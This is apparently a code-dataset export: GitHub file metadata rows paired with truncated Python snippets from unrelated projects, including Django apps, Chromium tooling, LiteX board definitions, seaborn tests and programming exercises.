2018-07-24T17:10:59
120,859,481
1
0
null
null
null
null
UTF-8
Python
false
false
1,311
py
# -*- coding: utf-8 -*- # 设计一个密码生成器,生成8位的,包含以下四种信息(大写字母, 小写字母, 特殊符号,数字)每个至少一个的密码。 # Follow up是如果位数也是随机的(不是8位固定),然后信息组数也是随机的,比如不一定要每一种信息都有怎么办. from random import randint, shuffle, choice DIGIT_START = '0' LOWERCASE_START = 'a' UPPERCASE_START = 'A' SPECIAL_CHARS = "&*%$#@!^" def getRandomCharInRange(startChar, offse...
[ "haoyuatusa@gmail.com" ]
haoyuatusa@gmail.com
a87e03fb707e6d2e2e399c37be2e4f052c32cf1a
3ab8098dc451e5f0305176de4b29dce9da83ccff
/experimental/soundwave/bin/soundwave
c81a32a3553f8d3c3447363103cf77dac4809d73
[ "BSD-3-Clause" ]
permissive
bbalegre/catapult
74557c821029990e3672904dca1e65d3b4bed7be
a2271985335430f09da172cd3589e27702f6eff1
refs/heads/master
2020-03-09T21:05:46.746633
2018-04-09T21:17:51
2018-04-10T20:46:23
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,809
#!/usr/bin/env python # Copyright 2018 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. import argparse import logging import oauth2client.tools import os import sys SOUNDWAVE_ROOT_PATH = os.path.normpath(os.path.join( ...
[ "commit-bot@chromium.org" ]
commit-bot@chromium.org
605d796d057e31749079eac54eb9a5452c40201c
fdc12a3c059c62e0ab28ce6628b52a84a381fb3c
/args_app/factories.py
21de5048c11551ea51fe5cb6ee414542ba2c4c3e
[ "Unlicense" ]
permissive
thinkAmi-sandbox/django-datatables-view-sample
8051bb8e06ff26472a353c13dba61e3d9d6ac21e
ac3df721089489e61c09ac75d320be3704c72105
refs/heads/main
2022-12-30T11:55:45.693297
2020-10-20T13:08:46
2020-10-20T13:08:46
302,014,037
0
0
null
null
null
null
UTF-8
Python
false
false
247
py
import factory from args_app.models import Color, Apple class ColorFactory(factory.django.DjangoModelFactory): class Meta: model = Color class AppleFactory(factory.django.DjangoModelFactory): class Meta: model = Apple
[ "dev.thinkami@gmail.com" ]
dev.thinkami@gmail.com
1bf01aaab3129263aa48654e86146a84edd9e64d
6496d7ab505ab1df594d373c0c58206d580302f6
/listas15.py
bf46375f44cc01ff62937b08d52956d69fea7a6b
[]
no_license
alicesilva/P1-Python-Problemas
7050f323a073ff51c51cd94d451bddfac71bf30b
eade521a3c7f740bb901a6714385d91356a37835
refs/heads/master
2020-03-09T21:04:32.211493
2018-08-25T19:50:53
2018-08-25T19:50:53
129,000,364
0
0
null
null
null
null
UTF-8
Python
false
false
524
py
#coding: utf-8 n = int(raw_input()) soma = 0 notas = [] for i in range(n-1): nota = float(raw_input()) soma += nota notas.append(nota) print len(notas) for i in range(len(notas)): print notas[i], print for i in range(len(notas)): print notas[(len(notas)-1-i)] print soma media = soma / len(notas) print med...
[ "alice.silva@ccc.ufcg.edu.br" ]
alice.silva@ccc.ufcg.edu.br
80be0f054ba9e7b3bb507553b606ceffe5740641
6f05f7d5a67b6bb87956a22b988067ec772ba966
/data/test/python/77b42abc6f92deabc06ce3a977d85c8cf6f1baddbrocade_openflow.py
77b42abc6f92deabc06ce3a977d85c8cf6f1badd
[ "MIT" ]
permissive
harshp8l/deep-learning-lang-detection
93b6d24a38081597c610ecf9b1f3b92c7d669be5
2a54293181c1c2b1a2b840ddee4d4d80177efb33
refs/heads/master
2020-04-07T18:07:00.697994
2018-11-29T23:21:23
2018-11-29T23:21:23
158,597,498
0
0
MIT
2018-11-21T19:36:42
2018-11-21T19:36:41
null
UTF-8
Python
false
false
7,407
py
#!/usr/bin/env python import xml.etree.ElementTree as ET class brocade_openflow(object): """Auto generated class. """ def __init__(self, **kwargs): self._callback = kwargs.pop('callback') def openflow_controller_controller_name(self, **kwargs): """Auto Generated Code ...
[ "aliostad+github@gmail.com" ]
aliostad+github@gmail.com
af572a301e1bd59801fdaa6a29adabe23949ad95
9ce18ec07889cf7a7590bbbc51a38713449d9ca0
/dino/hooks/request_admin.py
8969765337ddf921246d3d6b821513b2fda0bb4f
[ "Apache-2.0" ]
permissive
Xlzman/dino
66e38dd8c839a02f17ee19198e5cc7cc388d0b5b
3a6cbf45525a2733e47ea1dcbb52fd49d3264e3c
refs/heads/master
2021-06-10T14:42:24.315979
2017-02-28T04:50:38
2017-02-28T04:50:38
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,395
py
# Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the Li...
[ "oscar.eriks@gmail.com" ]
oscar.eriks@gmail.com
7e560457beed4dbcd76b6ee7e3431792868317f4
163bbb4e0920dedd5941e3edfb2d8706ba75627d
/Code/CodeRecords/2368/60703/282549.py
4f8f215be000ebe2e915727b1bcd73e35d82acb5
[]
no_license
AdamZhouSE/pythonHomework
a25c120b03a158d60aaa9fdc5fb203b1bb377a19
ffc5606817a666aa6241cfab27364326f5c066ff
refs/heads/master
2022-11-24T08:05:22.122011
2020-07-28T16:21:24
2020-07-28T16:21:24
259,576,640
2
1
null
null
null
null
UTF-8
Python
false
false
555
py
n=int(input()); ans=[]; for i in range(n): N=int(input()); numList =[int(x) for x in input().split()]; res=[] for i in range(0,N): if(i%2==0): numList.sort(reverse=True) res.append(numList[0]); numList = numList[1:]; else: numList.sort(); ...
[ "1069583789@qq.com" ]
1069583789@qq.com
7f74dbb5f295dcb18e480a1f506667c0bc4bcf08
a2d010722fbb3f286300d871aa950d761df2c15f
/gjk/urls.py
347454b25181a3e1a1231f55556fae84ad3b456c
[]
no_license
shitly/django-form-test
3af282705f48385af938332c2e5ac633f45151cc
efc634be9ce83e4059c3325f2bd6c73a6a8cf8c0
refs/heads/master
2020-12-02T21:09:58.881731
2017-08-30T09:57:47
2017-08-30T09:57:47
96,264,251
0
0
null
null
null
null
UTF-8
Python
false
false
1,003
py
from django.conf.urls import url from . import views app_name = 'gjk' urlpatterns = [ url(r'^$', views.homepage, name='index'), url(r'^tag/$', views.tag_articles, name='tag_articles'), url(r'^show/$', views.show, name='show'), url(r'^manager/$', views.manager, name='manager'), url(r'^td/$', view...
[ "you@example.com" ]
you@example.com
f62b72413702704c01f5b1a038138d18705e450e
8f78d0eb7d8ac8c0ab70cc512d1c0c181f2e70ba
/users/forms.py
e3802e1c41f404422fdaf121b8aeea1172025d3b
[]
no_license
liuyuhang791034063/django_auth_example
77f1bdc3358290d31f46ad25dfa96ec704a6a09c
5836ab04df5c20948242f21cc5d6d735270bff03
refs/heads/master
2021-04-06T17:40:31.641316
2018-03-10T12:02:23
2018-03-10T12:02:23
124,651,089
0
0
null
null
null
null
UTF-8
Python
false
false
324
py
#!/usr/bin/python3 # _*_ coding: utf-8 _*_ # @Time : 2018/3/8 21:06 __author__ = 'White' from django.contrib.auth.forms import UserCreationForm from .models import User class RegisterForm(UserCreationForm): class Meta(UserCreationForm.Meta): model = User fields = ("username", "email...
[ "liuyuhang791034063@qq.com" ]
liuyuhang791034063@qq.com
3e643a910838f07157560e4df42012ca6cbbed4b
81d7c62c357c086a8990105d4179c9a2cda0f89c
/Requests_module_old_project_cDVR_reference/aurora_cdvr_sanity_tests/scripts/basic_feature_scripts/basic_US79412_TC9843_brb.py
8aefbb3b38afe17122b065e056cbe2cce42d387c
[]
no_license
JAGASABARIVEL/Python_reference
57f49a3f8d894f02f8003657a914395f4b55d844
f2438289f189fc364dbe9dff0421c3df9be366b2
refs/heads/master
2020-04-08T19:23:23.406783
2018-11-29T12:25:43
2018-11-29T12:25:43
159,653,055
0
1
null
2020-01-25T19:07:42
2018-11-29T11:06:42
Python
UTF-8
Python
false
false
12,636
py
#!/usr/bin/python import os import sys import json from pprint import pprint import time import requests import calendar import itertools import datetime import mypaths import random from multiprocessing import Process,Queue from readYamlConfig import readYAMLConfigs from L1commonFunctions import * from L2commonFunctio...
[ "jkarunan@cisco.com" ]
jkarunan@cisco.com
cd77f129562f8c7a3bc9bcc84aa8341c72c54327
ae7ba9c83692cfcb39e95483d84610715930fe9e
/yubinbai/pcuva-problems/UVa 11060 beverages/main.py
c95cb450030a724903bfe1fe0ae996801ebf8c63
[]
no_license
xenron/sandbox-github-clone
364721769ea0784fb82827b07196eaa32190126b
5eccdd8631f8bad78eb88bb89144972dbabc109c
refs/heads/master
2022-05-01T21:18:43.101664
2016-09-12T12:38:32
2016-09-12T12:38:32
65,951,766
5
7
null
null
null
null
UTF-8
Python
false
false
922
py
import sys import numpypy as np def dfs(s): visited[s] = 1 for i in reversed(range(m)): if not visited[i] and edges[s, i]: dfs(i) topoResult.append(s) sys.stdin = open('input.txt') case = 0 while True: case += 1 if case != 1: try: raw_input() except...
[ "xenron@outlook.com" ]
xenron@outlook.com
f1de780e6ed895d3dec198105f434ae95024e5a4
cacdc4e51ac22695cb7c27b569712909e1de69d7
/tensorflow_probability/python/experimental/distribute/distribute_lib_test.py
cbfb9bcad624591663f6c02fe50fddcfd4ab659c
[ "Apache-2.0" ]
permissive
inhandan/probability
e177c5257c69574845119c83008d785b2fa2705a
fd946804b896cd98a5079dc6e0520dcb0862947e
refs/heads/master
2021-06-19T20:20:00.147963
2021-02-28T05:50:52
2021-02-28T05:50:52
168,770,464
1
1
null
2019-02-01T22:51:41
2019-02-01T22:51:41
null
UTF-8
Python
false
false
14,691
py
# Copyright 2020 The TensorFlow Probability Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law o...
[ "gardener@tensorflow.org" ]
gardener@tensorflow.org
67d2693ec290671e7edfdb9348805437a84173fc
7cd6950ab3034cb0cf403ee1b8410bf475360a8d
/cwl_tutorials/common_workflow_language_user_guide/venv/lib/python3.7/site-packages/schema_salad/tests/test_examples.py
2f6eba09507880cebc13f851ae35c8d3464cb029
[]
no_license
mr-c/george_murray
ef6d5f77a4f4c0b64cbc64534ce23d7546a3cee0
612c68c6b27ed2d8097f1309820ccdbb05530176
refs/heads/master
2022-09-20T11:12:58.582547
2019-08-15T19:32:34
2019-08-15T19:32:34
268,844,811
0
0
null
2020-06-02T15:55:27
2020-06-02T15:55:26
null
UTF-8
Python
false
false
15,715
py
from __future__ import absolute_import, print_function import json import os import unittest import traceback import six from future.utils import raise_from import rdflib import ruamel.yaml from ruamel.yaml.comments import CommentedMap, CommentedSeq import schema_salad.main import schema_salad.ref_resolver import sc...
[ "george.c.murray@maine.edu" ]
george.c.murray@maine.edu
31d38b6e67151515a3288047f8308398eb766bf3
d61d05748a59a1a73bbf3c39dd2c1a52d649d6e3
/chromium/third_party/blink/renderer/build/scripts/json5_generator_unittest.py
888ce91c38a8b618ee0bbd09b452102d5e36254e
[ "BSD-3-Clause", "LGPL-2.0-or-later", "GPL-1.0-or-later", "MIT", "Apache-2.0", "LicenseRef-scancode-warranty-disclaimer", "LGPL-2.1-only", "GPL-2.0-only", "LGPL-2.0-only", "BSD-2-Clause", "LicenseRef-scancode-other-copyleft" ]
permissive
Csineneo/Vivaldi
4eaad20fc0ff306ca60b400cd5fad930a9082087
d92465f71fb8e4345e27bd889532339204b26f1e
refs/heads/master
2022-11-23T17:11:50.714160
2019-05-25T11:45:11
2019-05-25T11:45:11
144,489,531
5
4
BSD-3-Clause
2022-11-04T05:55:33
2018-08-12T18:04:37
null
UTF-8
Python
false
false
1,576
py
# Copyright 2019 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. import os import unittest from json5_generator import Json5File class Json5FileTest(unittest.TestCase): def path_of_test_file(self, file_name): ...
[ "csineneo@gmail.com" ]
csineneo@gmail.com
9a24eacee866a3dd663b940f6a095bb78d758208
e3365bc8fa7da2753c248c2b8a5c5e16aef84d9f
/indices/nnmidwint.py
129643c1ea399051e5653ff0c43acd75a27af787
[]
no_license
psdh/WhatsintheVector
e8aabacc054a88b4cb25303548980af9a10c12a8
a24168d068d9c69dc7a0fd13f606c080ae82e2a6
refs/heads/master
2021-01-25T10:34:22.651619
2015-09-23T11:54:06
2015-09-23T11:54:06
42,749,205
2
3
null
2015-09-23T11:54:07
2015-09-18T22:06:38
Python
UTF-8
Python
false
false
82
py
ii = [('GilmCRS.py', 1), ('ClarGE3.py', 1), ('MartHRW2.py', 1), ('DibdTRL.py', 1)]
[ "varunwachaspati@gmail.com" ]
varunwachaspati@gmail.com
2b1d8cf09559440dbb0adfab1aaf980d6f8ab8bd
d700b9ad1e0b7225871b65ce0dafb27fb408c4bc
/students/k3343/kursoviks/Artamonova__Valeriya/server/school/service.py
60f1a074b4547d4a63db407529e732ba4718d3b5
[ "MIT" ]
permissive
TonikX/ITMO_ICT_WebProgramming_2020
a8c573ed467fdf99327777fb3f3bfeee5714667b
ba566c1b3ab04585665c69860b713741906935a0
refs/heads/master
2023-01-11T22:10:17.003838
2020-10-22T11:22:03
2020-10-22T11:22:03
248,549,610
10
71
MIT
2023-01-28T14:04:21
2020-03-19T16:18:55
Python
UTF-8
Python
false
false
833
py
from django_filters import rest_framework as filters from .models import Timetable def get_client_ip(request): """Получение IP пользоваеля""" x_forwarded_for = request.META.get('HTTP_X_FORWARDED_FOR') if x_forwarded_for: ip = x_forwarded_for.split(',')[0] else: ip = request.M...
[ "noreply@github.com" ]
TonikX.noreply@github.com
1ef3b27f800319086a35bf35800651fade680fc8
ffaa08eb2dd355c089de5dec396970489b71e8a9
/lsvine/cli.py
8c89b506661302ed98e5f3a57248f31ec61b8648
[ "Apache-2.0" ]
permissive
AndydeCleyre/lsvine
1828afaeb5d72a4feef6720be2f4f210879e277a
e5e5a75ee77262406817a209209b3b2ed515fe82
refs/heads/master
2020-12-05T14:59:41.862531
2020-01-06T10:54:35
2020-01-06T10:54:35
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,264
py
""" Installation: pew new os2d pip3 install tabulate pandas termcolor python3 ls_trello.py testdir Example: Check README """ from tabulate import tabulate import sys from os import listdir from os.path import isfile, join import pandas as pd import click def doit(mypath): # files list onlyfiles = listdir(m...
[ "shadiakiki1986@gmail.com" ]
shadiakiki1986@gmail.com
8ce8e4ef325624bb9e0655cae63191ef094371cc
7473d931134c444de3dfe61875e5245e9a4ba319
/anchore_engine/subsys/events/util.py
cd0ba2d6d7e0aa982b38793093ec385e7a818623
[ "Apache-2.0" ]
permissive
anniyanvr/anchore-engine
7eb693a8761e11f9d1f1f40b998d36c7cb76a36d
f5ffac25aea536016dd08734b4a2aa2746be1f1d
refs/heads/master
2023-03-08T23:46:30.663379
2023-01-26T23:58:10
2023-01-26T23:58:10
193,227,499
0
0
Apache-2.0
2023-02-26T10:35:37
2019-06-22T11:42:50
Python
UTF-8
Python
false
false
1,367
py
from anchore_engine.subsys.events import UserAnalyzeImageCompleted def fulltag_from_detail(image_detail: dict) -> str: """ Return a fulltag string from the detail record :param image_detail: :return: """ return ( image_detail["registry"] + "/" + image_detail["repo"] ...
[ "noreply@github.com" ]
anniyanvr.noreply@github.com
5ed84f18f36861bec36d788cadbe3021d35d6b8c
7b3711d4c6d7284255ba0270d49d120f984bf7c6
/problems/1042_flower_planting_with_no_adjacent.py
c7fffc9b10c0c01625b8550938808f5744a2147c
[]
no_license
loganyu/leetcode
2d336f30feb55379aaf8bf0273d00e11414e31df
77c206305dd5cde0a249365ce7591a644effabfc
refs/heads/master
2023-08-18T09:43:10.124687
2023-08-18T00:44:51
2023-08-18T00:44:51
177,875,222
0
0
null
null
null
null
UTF-8
Python
false
false
1,486
py
''' You have N gardens, labelled 1 to N. In each garden, you want to plant one of 4 types of flowers. paths[i] = [x, y] describes the existence of a bidirectional path from garden x to garden y. Also, there is no garden that has more than 3 paths coming into or leaving it. Your task is to choose a flower type for e...
[ "logan.yu@cadre.com" ]
logan.yu@cadre.com
d4f68fd614b346026822f798ad2e389071c89b6c
f0d713996eb095bcdc701f3fab0a8110b8541cbb
/5xPh4eEAtpMdXNoaH_4.py
c4a7a3842f5d6ecc38bc213f50033bbb75a18ecb
[]
no_license
daniel-reich/turbo-robot
feda6c0523bb83ab8954b6d06302bfec5b16ebdf
a7a25c63097674c0a81675eed7e6b763785f1c41
refs/heads/main
2023-03-26T01:55:14.210264
2021-03-23T16:08:01
2021-03-23T16:08:01
350,773,815
0
0
null
null
null
null
UTF-8
Python
false
false
437
py
""" Given a string `s`, return the length of the longest palindrome that can be built with those letters. ### Examples longest_palindrome("a") ➞ 1 longest_palindrome("bb") ➞ 2 longest_palindrome("abccccdd") ➞ 7 longest_palindrome("") ➞ 0 ### Notes N/A """ def longest_palindrome(...
[ "daniel.reich@danielreichs-MacBook-Pro.local" ]
daniel.reich@danielreichs-MacBook-Pro.local
99f67765e13fa42f8edf487574f567d68b1abe02
7fc47b9e72bbdd4a1d5d55ab784b7d3bbf4b0317
/src/the_tale/the_tale/game/map/tests/test_storage.py
317c6b47bf589f207200453b487a83d66eec5f53
[ "BSD-3-Clause" ]
permissive
warkb/the-tale
cc8008fbb9cc4c34ac9d8259731fec207eded449
833ac0b7e8ddc1f92b0f2495b3a52b83fda707ef
refs/heads/master
2020-05-29T14:45:59.737509
2019-05-12T21:26:32
2019-05-12T21:26:32
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,056
py
import smart_imports smart_imports.all() class BaseMagicMapTests(utils_testcase.TestCase): def setUp(self): super().setUp() self.place_1, self.place_2, self.place_3 = game_logic.create_test_map() def test_magic_setupped(self): for x in range(map_conf.settings.WIDTH): fo...
[ "a.eletsky@gmail.com" ]
a.eletsky@gmail.com
366b2558de79ea5e75153930342f132d9704c506
060ce17de7b5cdbd5f7064d1fceb4ded17a23649
/fn_elasticsearch/tests/test_version_mocking.py
361fb89ae39b4700a489ba03a783a7fc6f695725
[ "MIT" ]
permissive
ibmresilient/resilient-community-apps
74bbd770062a22801cef585d4415c29cbb4d34e2
6878c78b94eeca407998a41ce8db2cc00f2b6758
refs/heads/main
2023-06-26T20:47:15.059297
2023-06-23T16:33:58
2023-06-23T16:33:58
101,410,006
81
107
MIT
2023-03-29T20:40:31
2017-08-25T14:07:33
Python
UTF-8
Python
false
false
1,893
py
import mock from fn_elasticsearch.components.fn_elasticsearch_query import FunctionComponent class TestMockVersionInputs(object): """ [Class for version check differences] """ def test_perform_search_old(self): """ [Test 6.0.0 with doctype] """ es_instance_info = {'c...
[ "shane.curtin@ie.ibm.com" ]
shane.curtin@ie.ibm.com
8ea97d48498c560ed80a2bc1a7fe0fb38017b06b
ed248888952cf1b36f6e25e8b7319c3586753b29
/litex_boards/platforms/genesys2.py
072b951ffe68e19802edc4f0c17b63e48e073602
[ "BSD-2-Clause" ]
permissive
storborg/litex-boards
0010ca20822c5f670dbbbabae31f2c275bd09a5d
45bb329b5638f435d561e009b62547c2827f66e2
refs/heads/master
2022-12-02T08:30:32.162376
2020-08-07T17:26:12
2020-08-07T17:26:12
287,456,998
0
0
BSD-2-Clause
2020-08-14T06:05:55
2020-08-14T06:05:54
null
UTF-8
Python
false
false
6,266
py
# This file is Copyright (c) 2018-2019 Florent Kermarrec <florent@enjoy-digital.fr> # License: BSD from litex.build.generic_platform import * from litex.build.xilinx import XilinxPlatform, VivadoProgrammer from litex.build.openocd import OpenOCD # IOs ------------------------------------------------------------------...
[ "florent@enjoy-digital.fr" ]
florent@enjoy-digital.fr
c2324c2de76a69b3773829be777aedd4c02e7d1f
d094ba0c8a9b1217fbf014aa79a283a49aabe88c
/env/lib/python3.6/site-packages/seaborn/tests/test_axisgrid.py
e111195d78052c548f2aae7af913e2453ad9cac7
[ "Apache-2.0" ]
permissive
Raniac/NEURO-LEARN
d9274e0baadd97bb02da54bdfcf6ca091fc1c703
3c3acc55de8ba741e673063378e6cbaf10b64c7a
refs/heads/master
2022-12-25T23:46:54.922237
2020-09-06T03:15:14
2020-09-06T03:15:14
182,013,100
9
2
Apache-2.0
2022-12-09T21:01:00
2019-04-18T03:57:00
CSS
UTF-8
Python
false
false
51,598
py
import warnings import numpy as np import pandas as pd from scipy import stats import matplotlib as mpl import matplotlib.pyplot as plt from distutils.version import LooseVersion import pytest import nose.tools as nt import numpy.testing as npt from numpy.testing.decorators import skipif try: import pandas.testin...
[ "leibingye@outlook.com" ]
leibingye@outlook.com
d8b37a7e89c630296b070e489391c300958b0cec
491f422f8508e3394257d5a1b2df6b755b7fa553
/lesson_2903/03_conditions.py
6ee47a9803f3cb51edd2e7186e215c856b6cddab
[]
no_license
100ballovby/CampLessons_0321
029d9e66f1209ac92110dd8a503c2beb80dc62b7
24a0225d0394e8438541bedbc825df2d6275e468
refs/heads/master
2023-03-29T14:20:07.371350
2021-03-30T12:15:01
2021-03-30T12:15:01
352,614,046
0
0
null
null
null
null
UTF-8
Python
false
false
800
py
'''Ветвление - конструкция, которая позволяет задать вариативность вашей программе ''' age = int(input('Сколько вам лет? ')) # позволяет ввести значение с клавиатуры print(type(age)) if 16 <= age <= 18: # условие 1 print('Вы можете пройти, но будут ограничения!') # действия для условия 1 elif age <= 16: # усл...
[ "greatraksin@icloud.com" ]
greatraksin@icloud.com
7b7d1bd7bad7e8ab59fcab35587cd67f754779b5
75592c882e6283e42cb92310690a1edebb74e00a
/src/knowrob_semantic_map_tools/semantic_map/generation/__init__.py
8fd9cad283651ccc1af595a06699f0e97c992b91
[]
no_license
LinHuican/knowrob-semantic-map-tools
5f4891494034b5c0bf876a8449d2ea663774e70d
02d9ecb2d90deb3d03d4026262477a62165a750a
refs/heads/master
2020-12-24T05:59:15.119670
2015-05-22T14:59:14
2015-05-22T14:59:14
null
0
0
null
null
null
null
UTF-8
Python
false
false
58
py
from Client import Client from Exception import Exception
[ "ralf.kaestner@gmail.com" ]
ralf.kaestner@gmail.com
b2575221d94d0873101772ebd52989f32d7491eb
9df2fb0bc59ab44f026b0a2f5ef50c72b2fb2ceb
/sdk/cognitivelanguage/azure-ai-language-conversations/azure/ai/language/conversations/aio/_operations/_operations.py
6639c0fca598118412919c101fa6a17eaee78e36
[ "LicenseRef-scancode-generic-cla", "MIT", "LGPL-2.1-or-later" ]
permissive
openapi-env-test/azure-sdk-for-python
b334a2b65eeabcf9b7673879a621abb9be43b0f6
f61090e96094cfd4f43650be1a53425736bd8985
refs/heads/main
2023-08-30T14:22:14.300080
2023-06-08T02:53:04
2023-06-08T02:53:04
222,384,897
1
0
MIT
2023-09-08T08:38:48
2019-11-18T07:09:24
Python
UTF-8
Python
false
false
45,104
py
# pylint: disable=too-many-lines # coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRe...
[ "noreply@github.com" ]
openapi-env-test.noreply@github.com
0afc40664b8b2ede4285301ae1c3f42c601b1321
163bbb4e0920dedd5941e3edfb2d8706ba75627d
/Code/CodeRecords/2889/61020/304687.py
2095bfc6dd1560cc5aab96c4c947a3a88917bcd6
[]
no_license
AdamZhouSE/pythonHomework
a25c120b03a158d60aaa9fdc5fb203b1bb377a19
ffc5606817a666aa6241cfab27364326f5c066ff
refs/heads/master
2022-11-24T08:05:22.122011
2020-07-28T16:21:24
2020-07-28T16:21:24
259,576,640
2
1
null
null
null
null
UTF-8
Python
false
false
160
py
# 3 # 50 50 100 # # 66.666667 n = int(input()) pis = input().split() for i in range(n): pis[i] = int(pis[i]) print('{0:.6f}'.format(sum(pis) / (n * 100)))
[ "1069583789@qq.com" ]
1069583789@qq.com
bab52d7c9be34233a0806e33fe99db6b5756e1c6
fce5eda4745578557f7120104188c2437529b98f
/defs/basico.py
9c0187acdcca15cae75642625b8d9238964a33ae
[]
no_license
weguri/python
70e61584e8072125a4b4c57e73284ee4eb10f33b
d5195f82428104d85b0e6215b75e31ee260e5370
refs/heads/master
2022-12-01T08:26:36.248787
2020-08-23T03:30:46
2020-08-23T03:30:46
null
0
0
null
null
null
null
UTF-8
Python
false
false
119
py
def cumprimentar_usuario() -> None: """Exibe uma saudação simples""" print("Olá!") cumprimentar_usuario()
[ "welguri@gmail.com" ]
welguri@gmail.com
dbfe5973d3671065cd5bf6ce4b55ec7ba4a937e7
79104c99db93c9abf941f64057210a993fec956a
/scrapy/contrib/linkextractors/htmlparser.py
aa68ce52f968de10605f6e85bbe28b3e2a8c8c4d
[ "BSD-3-Clause" ]
permissive
craftsmanTek/scrapy
89bbb8ebef53093eae413c9a42fe6ffe83123011
8391b362518c5602867afebda81b1f42536f48b6
refs/heads/master
2023-05-01T04:36:20.615072
2013-03-13T06:24:25
2013-03-13T06:24:25
8,756,947
0
0
BSD-3-Clause
2023-04-15T11:24:43
2013-03-13T16:49:44
Python
UTF-8
Python
false
false
2,447
py
""" HTMLParser-based link extractor """ from HTMLParser import HTMLParser from urlparse import urljoin from w3lib.url import safe_url_string from scrapy.link import Link from scrapy.utils.python import unique as unique_list class HtmlParserLinkExtractor(HTMLParser): def __init__(self, tag="a", attr="href", pro...
[ "pablo@pablohoffman.com" ]
pablo@pablohoffman.com
d3ce6ae75756dd94b391331357415d628ceba9bc
2974f08f6575be8d72284b82de6cc639bc0142c8
/nmt_keras/build_callbacks.py
7e753648c0f64a2aed9aa94d75eb99a185e8413f
[ "MIT" ]
permissive
isabelline/nmt-keras
3208520bc496d94a741d1e7be5a52b330d3f236f
abb9a08432c79c649fc5e53a5a3b73a6cf2188f1
refs/heads/master
2020-04-22T13:43:48.337992
2019-02-13T05:22:17
2019-02-13T05:22:17
170,419,467
0
0
MIT
2019-02-13T01:32:17
2019-02-13T01:32:16
null
UTF-8
Python
false
false
8,213
py
# -*- coding: utf-8 -*- from keras_wrapper.extra.callbacks import * def buildCallbacks(params, model, dataset): """ Builds the selected set of callbacks run during the training of the model: * PrintPerformanceMetricOnEpochEndOrEachNUpdates: Evaluates the model in the validation set given a number of e...
[ "lvapeab@gmail.com" ]
lvapeab@gmail.com
857321cd0e5c030880947f23d78de8a134c71797
6b6a5d3f0815b64f5c0c51d69c2e8ad6bac8c6f2
/blogproject/blogapp/migrations/0001_initial.py
c72d5ea721d056e10955c0b4e1d1eb18a15eef81
[]
no_license
sohui0103/docker
41562a4344de777d42b09d19d9c75101d7e1eb41
1e9bba833b0df614763d561f70409c5e14751461
refs/heads/master
2023-06-20T20:20:18.452313
2021-07-29T06:25:16
2021-07-29T06:25:16
386,577,041
0
1
null
null
null
null
UTF-8
Python
false
false
650
py
# Generated by Django 3.2.4 on 2021-06-28 14:30 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Blog', fields=[ ('id', models.BigAutoField(...
[ "renee8369@likelion.org" ]
renee8369@likelion.org
804ecbba2bc535428f64b6c1f862e4e2ca303da7
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p03578/s616813846.py
1dea97b927faede1773e5854dd44251df6d2cf21
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
270
py
n=int(input()) d=sorted(list(map(int,input().split()))) d.append(-1) m=int(input()) t=sorted(list(map(int,input().split()))) x=0 f=0 for i in range(m): while d[x]!=t[i]: x+=1 if x==n: print("NO") exit() x+=1 print("YES")
[ "66529651+Aastha2104@users.noreply.github.com" ]
66529651+Aastha2104@users.noreply.github.com
52c644d301f22e828fd480fd69488f010a4b857f
9e41adf86b2c166a219f0b6d9371089c5f2d7d93
/Exerciciospython2/e110/moeda.py
8ea8b93d397438e5bcdee0915582a08403d08615
[]
no_license
Nadirlene/Exercicios-python
1aaead61dd0efcb5303f6294e765e9e1d54506cc
3fe82e166003922ef749756a249840ed1fe940b0
refs/heads/main
2022-12-25T21:35:06.172839
2020-09-28T15:08:37
2020-09-28T15:08:37
299,343,047
0
0
null
null
null
null
UTF-8
Python
false
false
1,355
py
def aumentar(preço=0, taxa=0, formato=False): ''' ->Calcula o aumento de um determinado preço, retornando o resultado com ou sem formatação. :param preço: o preço que se quer reajustar. :param taxa: qual é a porcentagem do aumento. :param formato: quer a saída formatada ou não? :return: o va...
[ "nadirleneoliveira@yahoo.com" ]
nadirleneoliveira@yahoo.com
eaccc98523caf705426c9bb29b0b3947c0868504
dac3a695b895c0170c350054fcc52d95f0daef5d
/data/level/level1084.py
bd8e8a9f93cbd63637b7e9e5145fbe98dce4e18b
[ "Apache-2.0" ]
permissive
xingchen1106/match3-level-similarity
aad87de6e54c5bdc89cf4dac168559d11997d496
cc9b28b8741b41bea1273c8bc9b4d265d79a1dca
refs/heads/master
2021-05-22T02:48:09.444957
2019-07-19T09:19:09
2019-07-19T09:19:09
null
0
0
null
null
null
null
UTF-8
Python
false
false
5,605
py
data = { 'level_index': 1084, 'move_count': 32, 'board_info': { (0, 0): { 'base': (6, 1), 'next': (0, 1), 'prev': (0, -1), 'fall_point': (0, -1) }, (0, 1): { 'base': (4, 1), 'next': (0, 1), 'prev': (0...
[ "salild1011@gmail.com" ]
salild1011@gmail.com
96d5a7f231c7a34f3610a56eae2cfbdc6a5626d1
974e7f805a72be48e9348ce0000a40769a3c160b
/src/trainer.py
7a9bb8693d5bdb2bb85311df0b06287f4c594459
[ "MIT" ]
permissive
kunatastic/dti-clustering
8d4b9034189afae7b84990be9d927ab930fe4498
cf59347bd00ad7f3bd219cb5f40bd3b78e554699
refs/heads/master
2023-04-24T14:12:25.145692
2021-05-14T13:07:24
2021-05-14T13:07:24
null
0
0
